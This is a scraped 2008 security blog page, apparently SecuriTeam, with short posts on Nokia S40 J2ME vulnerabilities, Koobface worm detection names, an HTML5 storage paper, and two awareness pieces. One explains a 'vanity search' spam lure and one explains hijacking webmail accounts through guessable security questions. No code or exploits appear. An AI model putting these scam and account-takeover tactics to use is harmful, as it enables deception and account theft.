I have never understood news articles using terms like ‘claims’ and ‘rumors’ when reporting about several vulnerabilities reported in Nokia Series 40 (S40) phones.

Adam Gowdiak from Poland is a well known researcher, man behind Windows RPC issue MS03-026 etc.

Sun has confirmed that older versions of Java 2 Platform Micro Edition (J2ME) are affected (this was on 15h Aug already) and Nokia confirmed these issues today (let’s say, at last).

It is not known if Sun Microsystems or Nokia Corp. paid €20 000 to Gowdiak, last week or possible later.

Some references:

Security Explorations: J2ME security vulnerabilities 2008
MIDP’s and MIDlets put tens of millions Nokia S40 phones in danger

Update 22nd Aug: From IDG.no:

“Gowdiak would not disclose if he was paid, but said that only reputable, vetted companies that pay would get the full research, which amounted to 180 pages and 14,000 lines of proof-of-concept code.

Nokia has a complete copy of Gowdiak’s research, said Mark Durrant of Nokia’s corporate communications.”

-

Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
Vanity Search Attacks

Posted: August 16th, 2008, 4:41am CDT by Aviram

Tags: Web [edit]

“How did you two meet? Did you mark her, or was it the other way around?”

- Robert Redford to Brad Pit, Spy Game

Con man 101: The best way to gain someone’s confidence is to make them think they contacted you. Scammers just love having potential victims contacting them.

Now, it seems they figured an interesting way to draw potential victims to their web site, in a way that is much easier than sending billions of spam email messages.
The idea is simple: take the person’s name (real people’s names are available for harvesting in places like linkedin, facebook, and other social networks) and put it in a web page. Doesn’t really matter where, as long as google indexes it.

Wait a while, and have that person google himself. Many people (myself included) have a ‘google alert’ on their name which sends them updated list of links to new pages where their name is mentioned.

Everyone likes to see where they are mentioned, so they will click on the link. And voila! They arrive to the spammer’s page. In some cases I’ve seen, the name was already gone from the page (but was still in the google cache). But all this doesn’t matter: as soon as the person reached the page, the web spammer’s job is done – he got his message in front of you, and maybe you’ll even dig deeper into his web site trying to figure out what the connection is to you.

There are many advantages to this method. First, you are not restricted by the message: the web page can openly have the words Viagra, Credit card debt and mortgage assistance without the fear of triggering anti-spam software. Also, people will pay more attention to the page since they think it has to do with them.

I don’t get the spammers’ marketing statistics, but I’m sure that the infamous spam text “it came to our attention that you’re in dire need of financial help” which sounds very much like a sincere, personal message, is a huge success. But this message has to get through the spam filters and include a real email address and a correct first/last name. The spam web page doesn’t need to bypass spam filters, and already has the correct name. In addition, you gain interesting information about the visitor: browser version, IP location and of course, the name he was searching for (that would be in the ‘referrer’ that is sent automatically by the browser to the web site). Oh, and of course – it’s cheap. You only need to put together a nice looking web page, and wait for google to do the rest. No buying of email lists and no cost of sending spam (which is nowadays the cost of hiring a zombie botnet for a couple of days).

For those aspiring scammers who are reading this, you should understand that it’s not a foolproof method. Obviously, it requires people to do a vanity search to reach you in the first place (though it also works on people who google their dates, their parents or their teachers). It also requires time – days, weeks or months (which may be difficult if your web site is on a zombie computer that might disappear by the time google indexes and the user comes to the site). But due to the fact the costs are very small, and there are no effective countermeasures at the moment, I think we will see more and more such attacks in the near future.

-

Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
The Security Question Vulnerability

Posted: August 14th, 2008, 9:02am CDT by yairb

Tags: Web [edit]

How easy is it to break into your Gmail account? How about Yahoo! Or Windows Live?
If you provided a truthful answer to the security question during signup, it is probably quite easy to hijack your account, with just a little bit of a research.

Take a look at the Yahoo! Security Questions:

Are these security questions?

Anyone that knows my address can easily figure out the name of my first school or my high school mascot. All of my neighbors, family and friends know both my dog’s name and my dad’s middle name, and everybody in the world knows I just LOVE the Lakers. As for my wife and me, the people who attended our wedding had the chance to hear about it in the ceremony - in case you couldn’t make it, we met on a roof of a bus, in Ladakh, India in 1994…

The fact that the answer to each of the security questions above is relatively easy to find out, makes them a security vulnerability in my Yahoo! account.
By letting me make a security key based on the name of my first school, Yahoo! actually puts me at risk, allowing anyone that knows where I live to hijack my account. It’s like saying “We have the greatest lock to protect your house. Now, why don’t we hide the key under the mat”.

Windows Live is pretty much the same as Yahoo!:

Gmail is a little bit more sophisticated with one major difference:

Gmail is the only one of these three that allows you to choose your own question.
By letting you do that, Gmail asks “which question only you can answer?” I think that most people might still come up with “Who is my favorite singer”, “What is my date of birth” or “My dog’s name”.
However, that isn’t a security vulnerability encouraged by Google. If they give you the tools and you fail to use them, it’s not their fault.

So, what can we do about it?
If you can write your own question, that would be the best. If not, choose the question about the name of your first school and put your first phone number as the answer. That’s what I did!

Got better ideas? Share them with us!

-

Expose the security holes in your products during development. Black Box Testing makes it safer!
MIDP’s and MIDlets put tens of millions Nokia S40 phones in danger

Posted: August 12th, 2008, 9:29am CDT by Juha-Matti

Tags: Web [edit]

Polish security researcher Adam Gowdiak is the only person in the world (we really hope he is!) who knows the details of the recent J2ME vulnerabilities affecting to Nokia mobile phones.

The research material includes information about

reliable MIDP 2.0 privilege elevation technique for Nokia Series 40 devices

and

Nokia specific exploitation technique leading to the remote and persistent deployment of a backdoor shell application into the target Nokia Series 40 phone

Mr. Gowdiak has tested 7 Nokia Series 40 models.

Needless to say that this information in the hands of bad guys is dangerous.

And related to the devices - Nokia Series 40 shipped with 3rd edition Feature Pack 2 and 3rd edition are affected.

-

Is your site safe from SQL Injection attaks? Sign up for Beyond Security’s Automated Vulnerability Detection Service today!
Facebook worm - and how long we have to wait AV protection

Posted: August 8th, 2008, 6:49am CDT by Juha-Matti

Tags: Web [edit]

So-called Koobface case was covered in the IT news quite widely, but security mailing lists received the information on Thursday 7th August.

Kaspersky Lab reported about the existence of the worm on 31th July. Hey, it’s more than a week ago, but it took several days until the anti-virus protection was notable.

Remarkable anti-virus vendors have the following detection now:
(listed in alphabetical order)

McAfee – W32/Koobface.worm
BitDefender – Win32.Worm.KoobFace.A
Kaspersky Lab – Net-Worm.Win32.Koobface.b
Panda Security – Boface.A [Technical name: W32/Boface.A.worm]
Sunbelt Software – Net-Worm.Win32.Koobface.b
Sophos – detected proactively as Mal/Heuri-D, Mal/Heuri-E, Mal/Emogen-N and Mal/Packer
Symantec – W32.Koobface.A

There is no write-up available from F-Secure, Norman, TrendMicro etc. yet.

The AV industry knows the alias KoobFace too.

The size of the worm is 16 384-16 652 bytes. It is written in Visual C++ 6.0 and packed with UPX and Upack.
The second malware, attacking Facebok users since 7th Aug, is a Trojan horse (Sophos uses name Troj/Dloadr-BPL), spreading as Google video links posted to Wall and is a separate issue.

It’s time to remember that if you don’t see a detailed write-up from your own AV vendor later today - it’s a DEFCON weekend and Facebook has started blocking these from its side already.

But the protection - that’s we need with a delay less than 4 or 5 days.

-

Are you scanning your site for vulnerabilities on a daily basis?
HTML5 client-side storage insecurities

Posted: August 5th, 2008, 8:16am CDT by Aviram

Tags: Web [edit]

Alberto Trivero posted an interesting whitepaper on the weaknesses of HTML5’s client-side storage features.

The paper is available here.

…and, like Juha-Mati wrote SecuriTeam blogs is now 3 years old. Oddly enough, after more than 1,000 posts, the most popular post is not one of Juha-Matti’s famous FAQs, Gadi’s rants or Rob’s washing-machine story. It’s a meaningless post by Noam (no offense, Noam) about IE4Linux. Go figure.

-

Are you scanning your site for vulnerabilities on a daily basis?

CGISecurity.com: Your Web Site and Application Security Resource

Web application firewalls for security and regulatory compliance

Posted: August 1st, 2008, 3:38pm CDT by Robert

Tags: Web Application Firewalls [

My Security Planet » Tags » Web

Feeds

67 items tagged "Web"

Posted: November 12th, 2008, 12:19pm CST by noam

Tags: Web [edit]

Posted: November 4th, 2008, 7:43am CST by Juha-Matti

Tags: Web [edit]

Posted: October 31st, 2008, 6:45am CDT by Juha-Matti

Tags: Web [edit]

Posted: October 25th, 2008, 3:56pm CDT by Juha-Matti

Tags: Web [edit]

Posted: October 24th, 2008, 1:03pm CDT by Ian Bicking

Tags: Web [edit]

Posted: September 18th, 2008, 3:36pm CDT by Aviram

Tags: Web [edit]

Posted: September 18th, 2008, 1:59am CDT by Ory Segal

Tags: Web Application Scanners [edit]

Posted: September 17th, 2008, 12:26pm CDT by Aviram

Tags: Web [edit]

Posted: September 9th, 2008, 3:40pm CDT by Juha-Matti

Tags: Web [edit]

Posted: September 4th, 2008, 11:37am CDT by kuza55

Tags: Web App Sec [edit]

Posted: September 4th, 2008, 1:05am CDT by xssniper

Tags: Web Application Security [edit]

Posted: September 3rd, 2008, 3:59am CDT by noam

Tags: Web [edit]

Posted: August 22nd, 2008, 8:50am CDT by Juha-Matti

Tags: Web [edit]

Posted: August 21st, 2008, 8:17am CDT by Juha-Matti

Tags: Web [edit]

Posted: August 16th, 2008, 4:41am CDT by Aviram

Tags: Web [edit]

Posted: August 14th, 2008, 9:02am CDT by yairb

Tags: Web [edit]

Posted: August 12th, 2008, 9:29am CDT by Juha-Matti

Tags: Web [edit]

Posted: August 8th, 2008, 6:49am CDT by Juha-Matti

Tags: Web [edit]

Posted: August 5th, 2008, 8:16am CDT by Aviram

Tags: Web [edit]

Posted: August 1st, 2008, 3:38pm CDT by Robert

Tags: Web Application Firewalls [